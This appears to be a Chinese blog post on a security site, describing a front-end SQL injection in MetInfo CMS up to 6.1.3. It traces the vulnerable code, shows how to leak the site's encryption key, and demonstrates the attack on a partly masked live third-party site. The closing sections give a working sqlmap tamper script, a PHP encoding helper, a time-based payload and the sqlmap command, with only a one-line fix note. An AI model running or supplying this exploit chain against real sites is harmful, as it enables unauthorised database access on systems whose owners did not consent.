内容简介:metinfo<=6.1.3前台SQL注入需要会员权限对服务器版本有限制【PHP-TS】
metinfo<=6.1.3前台 SQL 注入
需要会员权限
对服务器版本有限制【PHP-TS】
0x01 前言
看到 某info <= 6.1.3前台getshell 后决定发出来 (里面没说前台注入啊【手动狗头】)
0x02 代码分析
定位到 /member/basic.php 文件,代码如下:
看到这种样式的,我们就联想到了 MVC 框架,类似 Tp 、 CI 、 YII ,不过这是metinfo内置的框架,框架目录主要位于 /app/system 中,每个文件夹都是一个家目录,我们主要定位到 /app/system/user/web/profile.class.php 中的 dosafety_emailadd 方法:
148 Line 使用global关键字引入全局变量$_M 149 Line判断外部传入的$_COOKIE or $_POST or $_GET参数p是否为真 150 Line加载了auth类并实例化赋值给$auth 151 Line将$_M['form']['p']传入auth类中的decode方法解密并赋值给$email 152 Line判断$email是否为真 153 Line将$_M['user']['id']、$email传入$this->userclass类中的editor_uesr_email方法
目前我们只需要看这么多就好啦!我们接着来分析这个 auth 类,定位到 /app/system/include/class/auth.class.php
176 Line使用global关键字将全局变量$_M引入到当前方法中 177 Line判断传入的参数$userid是否为假 180 Line将传入的参数$email传入到当前类中的get_user_by_email方法并判断返回值是否为真
进入 get_user_by_email 方法中:
622 Line调用Load类中的静态方法is_plugin_exist判断doemail插件是否存在并将返回值赋予$isplugin 625 Line判断$isplugin是否为真 635 Line判断$emailres为真或者全等于NULL的情况下那么进入判断 636 Line调用当前类中的get_user_by_emailid静态方法
接着进入 get_user_by_emailid 静态方法:
到这个方法之后,它直接将我们传入的 $email 拼接到了SQL语句中,从而产生了SQL注入
0x03 代码调试
在 dosafety_emailadd 方法中输入如下语句并且改变一下语句顺序:
在 get_user_by_emailid 输入如下语句:
接下来访问下url:
http://localhost:8081/member/basic.php?a=dosafety_emailadd
可以看到程序成功将 123 拼接到了SQL语句中,哈哈,万事大吉,但是程序最终返回的仅仅是true or false所以这里我们要用到延时注入,最终Payload如下:
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
五秒以上才反应过来,程序是不是有点傻哦!正应了我们的延时盲注,接着我们将这段加密输出了之后再整吧!
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
接着访问:
http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
又是过了很久才出来。。。
0x04 漏洞复现
http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
调试半天发现是key的问题 key在 /config/config_safe.php ,打开文件是这样的:
就在这里我做了一个大胆的假设,直接访问然后审查元素看看被注释的东西是否存在
访问:
view-source:http://localhost:8081/config/config_safe.php
这里是 PHP 版本的问题,在phpstudy中有两种大版本,PHP-nts(非线程安全)、PHP-ts(线程安全)
nts版本的PHP会显示如下内容
而ts版本如下:
这就意味着这个洞只能用于ts版本了 各位师傅如果有什么新发现来讨论一波可好?
接着我们把auth这个类复制出来,我们应用到加密去:
这个类中我们需要修改两处才能正常使用:
8 Line $this->auth_key中的值替换成获取到的key 31 Line $key = md5($key);
Over,我们来看看实际站点能否获取到它的key:
view-source:http://www.d****re.com/config/config_safe.php
把我用红色框框圈起来的放到需要替换key的那里去,接着实力化这个类,加密后再用url编码:
再访问:
http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X
至此漏洞利用结束
0x05 漏洞修复
对于这里的修复就比较好了,metinfo函数库已经很成熟了,比如 inject_check (存在被绕过风险)、 daddslashes
0x06 temper编写
需要注意将SQLMAP传入的payload通过api接口返回加密后的字符串进行处理
#!/usr/bin/env python
"""
Metinfo V6.1.3
"""
from lib.core.enums import PRIORITY
from sys import argv
import urllib2
__priority__ = PRIORITY.LOWEST
api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
key_name = "/config/config_safe.php"
def dependencies():
pass
def tamper(payload, **kwargs):
global api_url
url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
send_key(url)
res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload)))
if res["code"] == 200:
return res["text"]
def send_key(url):
global api_url,key_name
res = request(url+key_name)
if(res["code"] == 200):
if(len(res["text"])>0):
api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>",""))
else:
print "[-] URL can not be used. "
exit()
def request(url):
request = urllib2.Request(url)
request.add_header('Content-Type', 'application/x-www-form-urlencoded')
response = urllib2.urlopen(request)
return {"code":response.getcode(),"text":response.read()}
保存为py文件 供sqlmap调用
<?php
//作为api,方便调用,over
class auth {
public $auth_key;
public function __construct($key) {
$this->auth_key = $key;
}
public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}
public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}
public function creatkey($length = '10'){
$str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa";
$result="";
for($i=0;$i<$length;$i++){
$num[$i]=rand(0,25);
$result.=$str[$num[$i]];
}
return $result;
}
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
}
if(length(user())>=10,sleep(5),0);#"
if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"]))
{
$auth = new auth($_REQUEST["key"]);
}
else
{
exit("[-] Please input key.");
}
if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"]))
{
// var_dump($auth->encode("aaa@aa.com' or username='username' and if(length(user())>=10,sleep(5),0);#"));
// var_dump(urldecode($_REQUEST["encodestr"]));
exit($auth->encode(urldecode($_REQUEST["encodestr"])));
}
else
{
exit("[-] Please enter encrypted string.");
}
?>
保存为php文件 跑起来供上面的temper调用。(注意修改代码中的用户名为自己注册的用户名)
sqlmap:
sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
Over,剩下的自己琢磨。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 74cms v4.2.126-前台四处sql注入
- Etouch2.0 分析代码审计流程 (二) 前台SQL注入
- Metinfo6.0.0-6.1.2前台注入漏洞生命线
- 博客项目前台实现
- 古诗网站前台实现
- 开启前台Service
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Design for Hackers
David Kadavy / Wiley / 2011-10-18 / USD 39.99
Discover the techniques behind beautiful design?by deconstructing designs to understand them The term ?hacker? has been redefined to consist of anyone who has an insatiable curiosity as to how thin......一起来看看 《Design for Hackers》 这本书的介绍吧!
图片转BASE64编码
在线图片转Base64编码工具
XML、JSON 在线转换
在线XML、JSON转换工具